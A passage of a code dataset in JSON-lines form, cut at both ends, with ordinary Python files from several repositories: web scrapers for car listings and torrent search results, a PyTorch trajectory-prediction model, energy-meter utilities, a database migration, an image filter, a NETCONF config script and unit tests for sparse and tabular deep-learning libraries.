71, "usage_type": "call"}, {"api_name": "event_handle.check_game_over", "line_number": 73, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 75, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 75, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 79, "usage_type": "call"}, {"api_name": "Settings.Settings", "line_number": 80, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 81, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 82, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 82, "usage_type": "attribute"}, {"api_name": "Ship.Ship", "line_number": 84, "usage_type": "call"}, {"api_name": "pygame.sprite.Group", "line_number": 85, "usage_type": "call"}, {"api_name": "pygame.sprite.Group", "line_number": 86, "usage_type": "call"}, {"api_name": "GameStats.GameStats", "line_number": 88, "usage_type": "call"}, {"api_name": "GameStats.Scoreboard", "line_number": 89, "usage_type": "call"}, {"api_name": "Button.Button", "line_number": 90, "usage_type": "call"}, {"api_name": "event_handle.event_context", "line_number": 92, "usage_type": "call"}, {"api_name": "event_handle.create_aliens", "line_number": 96, "usage_type": "call"}, {"api_name": "event_handle.check_events", "line_number": 98, "usage_type": "call"}]}
{"seq_id": "10549590292", "text": "from bs4 import BeautifulSoup\nimport requests\nfrom DataInsertion.database import  insertProduct\n\n\ndef subcategoryCheki():\n    site = 'https://www.cheki.co.ke'\n    subUrl = []\n\n    page_response = requests.get(site, headers={'User-Agent': 'Mozilla/5.0'})\n    page_content = BeautifulSoup(page_response.content, \"html.parser\")\n\n    subcategory = page_content.find('ul',{\"class\":\"vehicleIcons\"}).findAll('li')\n\n    for item in subcategory:\n        subCategoryUrl = item.find('a').get('href')\n\n        subUrl.append(\n            subCategoryUrl\n        )\n\n    return subUrl\n\n#print(subcategoryCheki())\n\n\ndef getAllPage():\n    subUrl = subcategoryCheki()\n    page = []\n    maxPage = 16\n    id = list(range(maxPage))\n    del id[0]\n    for url in subUrl:\n        for item in id:\n            link = url + \"?page=\" + str(item)\n            page.append({\n                'url': link\n            })\n    return page\n\n#print(getAllPage())\n\ndef scrapCheki(origin):\n\n    site = 'https://www.cheki.com.ng'\n    page = getAllPage()\n    produits = []\n\n    for link in page:\n        page_response = requests.get(link[\"url\"], headers={'User-Agent': 'Mozilla/5.0'})\n        page_content = BeautifulSoup(page_response.content, \"html.parser\")\n\n        logo = ''\n        logoS=''\n\n        annonce = page_content.find_all(\"li\", {\"class\": \"listing-unit\"})\n\n        for item in annonce:\n            try:\n                url = item.get(\"data-url\").replace('\\n','').replace('  ','')\n                lib = item.find('div', {\"class\": \"listing-unit__title\"}).find(\"a\").text.replace('\\n','')\n                img = item.find('div', {\"class\": \"listing-unit__image-container\"}).findAll(\"img\")[0].get(\"data-lazy\")\n                desc = item.find('div', {\"class\": \"listing-unit__detail-container\"}).text.replace('\\n','')\n                try:\n                    prix = int(item.find(\"div\", {\"class\": \"listing-unit__price\"}).text.replace(u',', '').replace(u'KSh', ''))\n                except:\n                    prix=0\n\n                produits.append(\n                {\n                'id': '',\n                'libProduct': lib,\n                'slug': '',\n                'descProduct': desc,\n                'priceProduct': prix,\n                'imgProduct': img,\n                'numSeller': '',\n                'src': site,\n                'urlProduct': site + url,\n                'logo': logo,\n                'logoS':logoS,\n                'origin': origin,\n                })\n\n            except:\n                continue\n\n    return produits\n\n#print(scrapCheki(origin=1))\n\n\"\"\"INSERTION DES PRODUITS\"\"\"\n\nproduits = scrapCheki(origin=1)\ninsertProduct(user='root', passW='', host='localhost', dbname='kenya', produits=produits)\n", "repo_name": "sysall/WebScrapping", "sub_path": "Sites/Kenya/2_Cheki.py", "file_name": "2_Cheki.py", "file_ext": "py", "file_size_in_byte": 2698, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 10, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 11, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 50, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 51, "usage_type": "call"}, {"api_name": "DataInsertion.database.insertProduct", "line_number": 95, "usage_type": "call"}]}
{"seq_id": "11179300636", "text": "import torch\nfrom core.models.SwinTransformerEncoder import SwinTransformerEncoder\nfrom core.models.TrajNet import TrajNetCrossAttention\nfrom core.models.FG_MSA import FGMSA\nfrom core.models.Pyramid3DDecoder import Pyramid3DDecoder\n\nfrom torchinfo import summary\n\n\n\nclass OFMPNet(torch.nn.Module):\n    def __init__(self,cfg,use_pyramid=True,actor_only=True,sep_actors=False,\n        fg_msa=False,use_last_ref=False,fg=False,large_ogm=True):\n\n        super(OFMPNet, self).__init__()\n\n        self.encoder = SwinTransformerEncoder(include_top=True,img_size=cfg['input_size'], window_size=cfg[\n            'window_size'], embed_dim=cfg['embed_dim'], depths=cfg['depths'], num_heads=cfg['num_heads'],\n            sep_encode=True,flow_sep=True,use_flow=True,drop_rate=0.0, attn_drop_rate=0.0,drop_path_rate=0.1,\n            large_input=large_ogm)\n\n         \n        if sep_actors:\n            traj_cfg = dict(traj_heads=4,att_heads=6,out_dim=384,no_attn=True)\n        else:\n            traj_cfg = dict(traj_heads=4,att_heads=6,out_dim=384,no_attn=False)\n        \n        resolution=[8,16,32]\n        hw = resolution[4-len(cfg['depths'][:])]\n        self.trajnet_attn = TrajNetCrossAttention(traj_cfg,actor_only=actor_only,pic_size=(hw,hw),pic_dim=768//(2**(4-len(cfg['depths'][:])))\n        ,multi_modal=True,sep_actors=sep_actors)\n        self.fg_msa = fg_msa\n        self.fg = fg\n        if fg_msa:\n            self.fg_msa_layer = FGMSA(q_size=(16,16), kv_size=(16,16),n_heads=8,n_head_channels=48,n_groups=8,out_dim=384,use_last_ref=False,fg=fg)\n        self.decoder = Pyramid3DDecoder(config=None,img_size=cfg['input_size'],pic_dim=768//(2**(4-len(cfg['depths'][:]))),use_pyramid=use_pyramid,timestep_split=True,\n        shallow_decode=(4-len(cfg['depths'][:])),flow_sep_decode=True,conv_cnn=False)\n\n        # dummy_ogm =torch.zeros((1,)+cfg['input_size']+(11,2,))\n        # dummy_map =torch.zeros((1,)+(256,256)+(3,))\n\n        # dummy_obs_actors = torch.zeros([1,48,11,8])\n        # dummy_occ_actors = torch.zeros([1,16,11,8])\n        # dummy_ccl = torch.zeros([1,256,10,7])\n        # dummy_flow =torch.zeros((1,)+cfg['input_size']+(2,))\n        # self.ref_res = None\n\n        # self(dummy_ogm,dummy_map,obs=dummy_obs_actors,occ=dummy_occ_actors,mapt=dummy_ccl,flow=dummy_flow)\n        summary(self)\n    \n    def forward(self,ogm,map_img,training=True,obs=None,occ=None,mapt=None,flow=None,dense_vec=None,dense_map=None):\n\n        #visual encoder:\n        res_list = self.encoder(ogm,map_img,flow,training)\n        q = res_list[-1]\n\n        if self.fg_msa:\n            q = torch.reshape(q,[-1,16,16,384])\n            #fg-msa:\n            res,pos,ref = self.fg_msa_layer(q,training=training)\n            q = res + q\n            q = torch.reshape(q,[-1,16*16,384])\n        query = torch.repeat_interleave(torch.unsqueeze(q, dim=1),repeats=8,axis=1)\n        if self.fg:\n            # added Projected flow-features to each timestep\n            ref = torch.reshape(ref,[-1,8,256,384])\n            query = ref + query\n        \n        #time-sep-cross attention and vector encoders:\n        obs_value = self.trajnet_attn(query,obs,occ,mapt,training)\n\n        #fpn decoding:\n        y = self.decoder(obs_value,training,res_list)\n        y = torch.reshape(y.permute([0,2,3,1,4]),[-1,256,256,32])\n        return y\n\nif __name__==\"__main__\":\n    cfg=dict(input_size=(512,512), window_size=8, embed_dim=96, depths=[2,2,2], num_heads=[3,6,12])\n    model = OFMPNet(cfg,actor_only=True,sep_actors=False,fg_msa=True)", "repo_name": "YoushaaMurhij/OFMPNet", "sub_path": "core/models/OFMPNet.py", "file_name": "OFMPNet.py", "file_ext": "py", "file_size_in_byte": 3499, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn", "line_number": 11, "usage_type": "attribute"}, {"api_name": "core.models.SwinTransformerEncoder.SwinTransformerEncoder", "line_number": 17, "usage_type": "call"}, {"api_name": "core.models.TrajNet.TrajNetCrossAttention", "line_number": 30, "usage_type": "call"}, {"api_name": "core.models.FG_MSA.FGMSA", "line_number": 35, "usage_type": "call"}, {"api_name": "core.models.Pyramid3DDecoder.Pyramid3DDecoder", "line_number": 36, "usage_type": "call"}, {"api_name": "torchinfo.summary", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.repeat_interleave", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.unsqueeze", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 74, "usage_type": "call"}]}
{"seq_id": "21531149630", "text": "import logging\nfrom typing import TypeVar, Generic, Callable, Optional, Union\n\nfrom modules.common.component_context import SingleComponentUpdateContext\nfrom modules.common.fault_state import ComponentInfo\nfrom modules.common.store import ValueStore\nfrom modules.devices.sma_shm.config import SmaHomeManagerCounterSetup, SmaHomeManagerInverterSetup\n\nT = TypeVar(\"T\")\nlog = logging.getLogger(__name__)\n\n\ndef _create_serial_matcher(serial: Optional[int]) -> Callable[[dict], bool]:\n    if isinstance(serial, int):\n        return lambda sma_data: sma_data[\"serial\"] == serial\n    if serial is not None:\n        log.error(\"Serial <%s> must bei an int or None, but is <%s>. Assuming None.\", serial, type(serial))\n    return lambda _: True\n\n\nclass SpeedwireComponent(Generic[T]):\n    def __init__(self,\n                 value_store_factory: Callable[[int], ValueStore[T]],\n                 parser: Callable[[dict], T],\n                 component_config: Union[SmaHomeManagerCounterSetup, SmaHomeManagerInverterSetup]):\n        self.store = value_store_factory(component_config.id)\n        self.__parser = parser\n        self.__serial_matcher = _create_serial_matcher(component_config.configuration.serials)\n        self.component_info = ComponentInfo.from_component_config(component_config)\n        self.component_config = component_config\n\n    def read_datagram(self, datagram: dict) -> bool:\n        if self.__serial_matcher(datagram):\n            with SingleComponentUpdateContext(self.component_info):\n                self.store.set(self.__parser(datagram))\n            return True\n        return False\n", "repo_name": "snaptec/openWB", "sub_path": "packages/modules/devices/sma_shm/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 1601, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 322, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.TypeVar", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Generic", "line_number": 21, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 23, "usage_type": "name"}, {"api_name": "modules.common.store.ValueStore", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 25, "usage_type": "name"}, {"api_name": "modules.devices.sma_shm.config.SmaHomeManagerCounterSetup", "line_number": 25, "usage_type": "name"}, {"api_name": "modules.devices.sma_shm.config.SmaHomeManagerInverterSetup", "line_number": 25, "usage_type": "name"}, {"api_name": "modules.common.fault_state.ComponentInfo.from_component_config", "line_number": 29, "usage_type": "call"}, {"api_name": "modules.common.fault_state.ComponentInfo", "line_number": 29, "usage_type": "name"}, {"api_name": "modules.common.component_context.SingleComponentUpdateContext", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "3894705318", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport urllib\nfrom scraper import Scraper\n\nclass KatScraperRSS(Scraper):\n\n    def __init__(self):\n        Scraper.__init__(self)\n        self.root = 'http://kat.ph'\n        self.site = \"kat.ph\"\n    \n    def get_torrent_info(self, description):\n        search = \"%s\" %(description)\n        torrent_request = requests.get(\"http://kat.ph/usearch/\" +  urllib.quote(search) + '/?field=seeders&sorder=desc&rss=1', headers=self.headers)\n        torrent_html = torrent_request.text\n        torrent_dom = BeautifulSoup(torrent_html)\n        torrents = []\n        try:\n            #find all torrents\n            for torrent in torrent_dom.find_all('item'):\n                torrents.append(self.get_torrent_detail(torrent))\n        except: \n            #Return an empty object when not data found\n            return {}\n        return torrents\n\n    def get_torrent_detail(self, torrent):\n        #Obtain the torrent detail\n        name = torrent.title.text\n        link = torrent.link.text\n        magnet = torrent.find('torrent:magneturi').text\n        seed = int(torrent.find('torrent:seeds').text)\n        leech = int(torrent.find('torrent:peers').text) - seed\n        size = str((int(torrent.find('torrent:contentlength').text) / 1024) / 1024) + ' MB'\n        return {'site': self.site, 'name': name, 'link': link,  'magnet': magnet, 'seed': seed, 'leech': leech, 'size': size}\n", "repo_name": "mgallego/metatorrente", "sub_path": "scrapers/kat_scraper_rss.py", "file_name": "kat_scraper_rss.py", "file_ext": "py", "file_size_in_byte": 1416, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "scraper.Scraper", "line_number": 6, "usage_type": "name"}, {"api_name": "scraper.Scraper.__init__", "line_number": 9, "usage_type": "call"}, {"api_name": "scraper.Scraper", "line_number": 9, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 15, "usage_type": "call"}, {"api_name": "urllib.quote", "line_number": 15, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "10333736620", "text": "from datetime import datetime\n\nfrom sqlalchemy import *\nfrom migrate import *\n\nmeta = MetaData()\n\ndef upgrade(migrate_engine):\n    meta.bind = migrate_engine\n    dataset = Table('dataset', meta, autoload=True)\n\n    dataset_language = Table('dataset_language', meta,\n        Column('id', Integer, primary_key=True),\n        Column('code', Unicode),\n        Column('created_at', DateTime, default=datetime.utcnow),\n        Column('updated_at', DateTime, onupdate=datetime.utcnow),\n        Column('dataset_id', Integer, ForeignKey('dataset.id'))\n        )\n    dataset_language.create()\n    \n    dataset_territory = Table('dataset_territory', meta,\n        Column('id', Integer, primary_key=True),\n        Column('code', Unicode),\n        Column('created_at', DateTime, default=datetime.utcnow),\n        Column('updated_at', DateTime, onupdate=datetime.utcnow),\n        Column('dataset_id', Integer, ForeignKey('dataset.id'))\n        )\n    dataset_territory.create()\n\n", "repo_name": "hagino3000/openspending", "sub_path": "migration/versions/007_ds_language_and_country.py", "file_name": "007_ds_language_and_country.py", "file_ext": "py", "file_size_in_byte": 964, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime.utcnow", "line_number": 15, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 16, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 16, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 24, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 25, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 25, "usage_type": "name"}]}
{"seq_id": "14606823097", "text": "# -*- coding: utf-8 -*-\r\n\r\nfrom PIL import Image\r\nimport numpy as np\r\n\r\n\r\ndef main(file):\r\n    filter_size = 4  # ぼかしの強さ\r\n    image_input = np.array(Image.open(file), 'f')\r\n    print(\"image shape = \", image_input.shape)\r\n    # print(image_input[10,10])  # 指定した座標の画素値（R, G, B） / 原点は左上\r\n    size_x = image_input.shape[0]  # 入力画像のサイズ\r\n    size_y = image_input.shape[1]\r\n    redion_x = size_x / 2  # ぼかし範囲 縦\r\n    redion_y = size_y / 2.3  # ぼかし範囲 横\r\n\r\n    image_output1 = np.zeros((size_x, size_y, 3))  # 中間出力\r\n    image_output2 = np.zeros((size_x, size_y, 3))  # 最終出力\r\n    for x in range(size_x):\r\n        for y in range(size_y):\r\n            for RGB in range(3):\r\n                hankei = ((x - size_x / 2) / redion_x) ** 2 + ((y - size_y / 2) / redion_y) ** 2\r\n                if filter_region(x, y, size_x, size_y, filter_size, hankei) == True:  # 外側がフィルター範囲\r\n                    filterOutput = 0\r\n                    for i in range(filter_size):\r\n                        for j in range(filter_size):\r\n                            filterOutput += image_input[x + i - int(filter_size / 2), y + j - int(filter_size / 2), RGB]\r\n                    image_output1[x, y, RGB] = filterOutput / filter_size ** 2\r\n                else:\r\n                    image_output1[x, y, RGB] = image_input[x, y, RGB]\r\n                image_output2[x, y, RGB] = tone_function(image_output1[x, y, RGB], x, y, RGB)  # 彩度が高いところ\r\n\r\n    pil_img = Image.fromarray(np.uint8(image_output2))  # https://nixeneko.hatenablog.com/entry/2017/09/01/000000\r\n    outputName = file[:len(file) - 4] + \"_save.png\"\r\n    pil_img.save(outputName)\r\n\r\n\r\ndef tone_function(value, x, y, RGB):  # 彩度が高いところをより高く\r\n    lowerLimit = 40\r\n    outputValue = (value - lowerLimit) * 1.4 + lowerLimit\r\n    if outputValue > 255:\r\n        return 255\r\n    elif value > lowerLimit:\r\n        return outputValue\r\n    else:\r\n        value\r\n\r\n\r\ndef filter_region(x, y, size_x, size_y, filter_size, hankei):\r\n    if x > filter_size / 2 and y > filter_size / 2 and x < size_x - filter_size / 2 and y < size_y - filter_size / 2 and hankei > 1:\r\n        return True\r\n    else:\r\n        return False\r\n\r\n\r\nif __name__ == '__main__':\r\n    main(\"tokyu.jpg\")\r\n", "repo_name": "s51517765/Miniature_photo", "sub_path": "miniature_style_photo.py", "file_name": "miniature_style_photo.py", "file_ext": "py", "file_size_in_byte": 2348, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.array", "line_number": 9, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 9, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 9, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 18, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 33, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 33, "usage_type": "call"}]}
{"seq_id": "16749886966", "text": "from devnet_connection import devnet_connection\nimport xml.dom.minidom as xmlparser\nfrom devnet_loopbacks import loopbacks\n\n# Function to view specified items\ndef view_device_config():\n    # Open XML template\n    config_template = open(\"XML/filter_config.xml\").read()\n    for loopback in loopbacks:\n        # Input items into template\n        config_filter = config_template.format(INTERFACE=loopback)\n        # View item\n        item_config = devnet_connection.get(config_filter)\n        xmlDom = xmlparser.parseString(str(item_config))\n        print(\"+\"*25 + \" \" + loopback + \" \" + \"+\"*25 )\n        print(xmlDom.toprettyxml(indent=\"    \"))\n\n    devnet_connection.close_session()\n\n# Call function\nif __name__==\"__main__\":\n    view_device_config()", "repo_name": "adiroata/DevNetASC", "sub_path": "NETCONF/ios-xe_ncclient_get_config.py", "file_name": "ios-xe_ncclient_get_config.py", "file_ext": "py", "file_size_in_byte": 747, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "devnet_loopbacks.loopbacks", "line_number": 9, "usage_type": "name"}, {"api_name": "devnet_connection.devnet_connection.get", "line_number": 13, "usage_type": "call"}, {"api_name": "devnet_connection.devnet_connection", "line_number": 13, "usage_type": "name"}, {"api_name": "xml.dom.minidom.parseString", "line_number": 14, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 14, "usage_type": "name"}, {"api_name": "devnet_connection.devnet_connection.close_session", "line_number": 18, "usage_type": "call"}, {"api_name": "devnet_connection.devnet_connection", "line_number": 18, "usage_type": "name"}]}
{"seq_id": "11093572859", "text": "import torch\nimport torch_sputnik\n\ndef dense_to_sparse(matrix):\n     csr = matrix.to_sparse_csr()\n     values = csr.values().clone().detach()\n     row_offsets = csr.crow_indices().data.clone().to(torch.int32)\n     row_indices = diffsort(row_offsets).to(torch.int32)\n     column_indices = csr.col_indices().data.clone().to(torch.int32)\n\n     return values, row_indices, row_offsets, column_indices\n\ndef diffsort(offsets):\n  diffs = (offsets - torch.roll(offsets, -1, 0))[:-1]\n  return torch.argsort(diffs, descending=True).to(torch.int32)\n\ndef sparse_transpose(sparse, m, k, n):\n    values, row_indices, row_offsets, column_indices = dense_to_sparse(sparse)\n\n    print(values)\n    output_values, output_row_offsets, output_column_indices = torch_sputnik.csr_transpose(m, n, values, row_offsets, column_indices)\n    print(values)\n\n    return output_values\n\nif __name__ == \"__main__\":\n    m, k, n = 4, 4, 4\n    sparse = torch.rand((m * k), dtype=torch.float32).view(m, k).cuda()\n\n    sparse[0][:] = 0\n\n    sparse_result = sparse_transpose(sparse, m, k, n)#.reshape(k, m)\n\n    #print(sparse_result)\n    #print(sparse.t())\n\n    # if ((sparse_result - sparse.t()) < 1e-4).sum().item() == m * n:\n    #     print(\"Results match\")\n    # else:\n    #     print(\"Results don't match\")\n", "repo_name": "mabdullahsoyturk/Torch-Sputnik", "sub_path": "tests/test_transpose.py", "file_name": "test_transpose.py", "file_ext": "py", "file_size_in_byte": 1273, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.int32", "line_number": 7, "usage_type": "attribute"}, {"api_name": "torch.int32", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.int32", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.roll", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.argsort", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.int32", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch_sputnik.csr_transpose", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 28, "usage_type": "attribute"}]}
{"seq_id": "6427975159", "text": "import string\n\nimport numpy as np\nimport torch\nimport pytest\n\nfrom pytorch_widedeep.wdtypes import WideDeep\nfrom pytorch_widedeep.models.tabular.tabnet._utils import create_explain_matrix\nfrom pytorch_widedeep.models.tabular.tabnet.tab_net import TabNet  # noqa: F403\n\n# I am going over test this model due to the number of components\n\nn_embed = 5\n# this is the number of embed_cols and cont_cols. So total num of cols =\n# n_cols * 2\nn_cols = 2\nbatch_size = 10\ncolnames = list(string.ascii_lowercase)[: (n_cols * 2)]\nembed_cols = [np.random.choice(np.arange(n_embed), batch_size) for _ in range(n_cols)]\nembed_input = [(u, i, 1) for u, i in zip(colnames[:2], [n_embed] * 2)]\ncont_cols = [np.random.rand(batch_size) for _ in range(n_cols)]\ncontinuous_cols = colnames[-5:]\n\nX_tab = torch.from_numpy(np.vstack(embed_cols + cont_cols).transpose())\nX_tab_emb = X_tab[:, :n_cols]\nX_tab_cont = X_tab[:, n_cols:]\n\n###############################################################################\n# Test functioning using the defaults\n###############################################################################\n\n\ndef test_embeddings_have_padding():\n    model = TabNet(\n        column_idx={k: v for v, k in enumerate(colnames)},\n        cat_embed_input=embed_input,\n        continuous_cols=colnames[n_cols:],\n    )\n    res = []\n    for k, v in model.cat_and_cont_embed.cat_embed.embed_layers.items():\n        res.append(v.weight.size(0) == n_embed + 1)\n        res.append(not torch.all(v.weight[0].bool()))\n    assert all(res)\n\n\n@pytest.mark.parametrize(\n    \"cont_norm_layer\",\n    [\n        None,\n        \"batchnorm\",\n        \"layernorm\",\n    ],\n)\ndef test_tabnet_output(cont_norm_layer):\n    model = TabNet(\n        column_idx={k: v for v, k in enumerate(colnames)},\n        cat_embed_input=embed_input,\n        continuous_cols=colnames[n_cols:],\n        cont_norm_layer=cont_norm_layer,\n    )\n    out1, out2 = model(X_tab)\n    assert out1.size(0) == 10 and out1.size(1) == model.step_dim\n\n\n@pytest.mark.parametrize(\n    \"embed_continuous\",\n    [\n        True,\n        False,\n    ],\n)\ndef test_tabnet_embed_continuos(embed_continuous):\n    model = TabNet(\n        column_idx={k: v for v, k in enumerate(colnames)},\n        cat_embed_input=embed_input,\n        continuous_cols=colnames[n_cols:],\n        embed_continuous=embed_continuous,\n    )\n    out1, out2 = model(X_tab)\n    assert out1.size(0) == 10 and out1.size(1) == model.step_dim\n\n\n###############################################################################\n# Test functioning with different types of masks\n###############################################################################\n\n\n@pytest.mark.parametrize(\n    \"mask_type\",\n    [\n        \"sparsemax\",\n        \"entmax\",\n    ],\n)\ndef test_mask_type(mask_type):\n    model = TabNet(\n        column_idx={k: v for v, k in enumerate(colnames)},\n        cat_embed_input=embed_input,\n        continuous_cols=colnames[n_cols:],\n        mask_type=mask_type,\n    )\n    out1, out2 = model(X_tab)\n    assert out1.size(0) == 10 and out1.size(1) == model.step_dim\n\n\n###############################################################################\n# Test functioning with/without ghost BN\n###############################################################################\n\n\n@pytest.mark.parametrize(\n    \"ghost_bn\",\n    [\n        True,\n        False,\n    ],\n)\ndef test_ghost_bn(ghost_bn):\n    model = TabNet(\n        column_idx={k: v for v, k in enumerate(colnames)},\n        cat_embed_input=embed_input,\n        continuous_cols=colnames[n_cols:],\n        ghost_bn=ghost_bn,\n    )\n    out1, out2 = model(X_tab)\n    assert out1.size(0) == 10 and out1.size(1) == model.step_dim\n\n\n###############################################################################\n# Test forward_mask method\n###############################################################################\n\n\ndef test_forward_masks():\n    model = TabNet(\n        column_idx={k: v for v, k in enumerate(colnames)},\n        cat_embed_input=embed_input,\n        continuous_cols=colnames[n_cols:],\n    )\n    out1, out2 = model.forward_masks(X_tab)\n    bsz, nfeat = X_tab.shape[0], X_tab.shape[1]\n    out = []\n    out.append(out1.shape[0] == bsz)\n    out.append(out1.shape[1] == nfeat)\n    for step in range(model.n_steps):\n        out.append(out2[step].size(0) == bsz)\n        out.append(out2[step].size(1) == nfeat)\n    assert all(out)\n\n\n###############################################################################\n# Test create_explain_matrix\n###############################################################################\n\n\n@pytest.mark.parametrize(\n    \"w_cat, w_cont, embed_continuous\",\n    [\n        (True, True, False),\n        (True, True, True),\n        (False, True, False),\n        (False, True, True),\n        (True, False, False),\n        (True, False, False),\n    ],\n)\ndef test_create_explain_matrix(w_cat, w_cont, embed_continuous):\n    if w_cat and w_cont:\n        cat_embed_input = [(u, i, 4) for u, i in zip(colnames[:2], [n_embed] * 2)]\n        continuous_cols = colnames[2:]\n        if embed_continuous:\n            embed_cols = colnames\n        else:\n            embed_cols = colnames[:2]\n        column_idx = {k: v for v, k in enumerate(colnames)}\n    elif w_cat:\n        cat_embed_input = [(u, i, 4) for u, i in zip(colnames[:2], [n_embed] * 2)]\n        continuous_cols = None\n        embed_cols = colnames[:2]\n        column_idx = {k: v for v, k in enumerate(colnames[:2])}\n    elif w_cont:\n        cat_embed_input = None\n        continuous_cols = colnames[2:]\n        column_idx = {k: v for v, k in enumerate(colnames[2:])}\n        if embed_continuous:\n            embed_cols = colnames[2:]\n        else:\n            embed_cols = []\n\n    tabnet = TabNet(\n        column_idx=column_idx,\n        cat_embed_input=cat_embed_input,\n        continuous_cols=continuous_cols,\n        embed_continuous=embed_continuous,\n        cont_embed_dim=4,\n    )\n    wdmodel = WideDeep(deeptabular=tabnet)\n\n    expl_mtx = create_explain_matrix(wdmodel)\n\n    checks = []\n    checks.append(expl_mtx.sum() == tabnet.embed_out_dim)\n    checks.append(all(expl_mtx.sum(1) == 1))\n    for col, idx in column_idx.items():\n        if col in embed_cols:\n            checks.append(expl_mtx[:, idx].sum() == 4.0)\n        elif not embed_continuous and col in continuous_cols:\n            checks.append(expl_mtx[:, idx].sum() == 1.0)\n\n    assert all(checks)\n", "repo_name": "jrzaurin/pytorch-widedeep", "sub_path": "tests/test_model_components/test_mc_tab_tabnet.py", "file_name": "test_mc_tab_tabnet.py", "file_ext": "py", "file_size_in_byte": 6399, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1164, "dataset": "github-code", "pt": "81", "api": [{"api_name": "string.ascii_lowercase", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 24, "usage_type": "call"}, {"api_name": "pytorch_widedeep.models.tabular.tabnet.tab_net.TabNet", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.all", "line_number": 42, "usage_type": "call"}, {"api_name": "pytorch_widedeep.models.tabular.tabnet.tab_net.TabNet", "line_number": 55, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 46, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pytorch_widedeep.models.tabular.tabnet.tab_net.TabNet", "line_number": 73, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 65, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pytorch_widedeep.models.tabular.tabnet.tab_net.TabNet", "line_number": 96, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 88, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 88, "usage_type": "attribute"}, {"api_name": 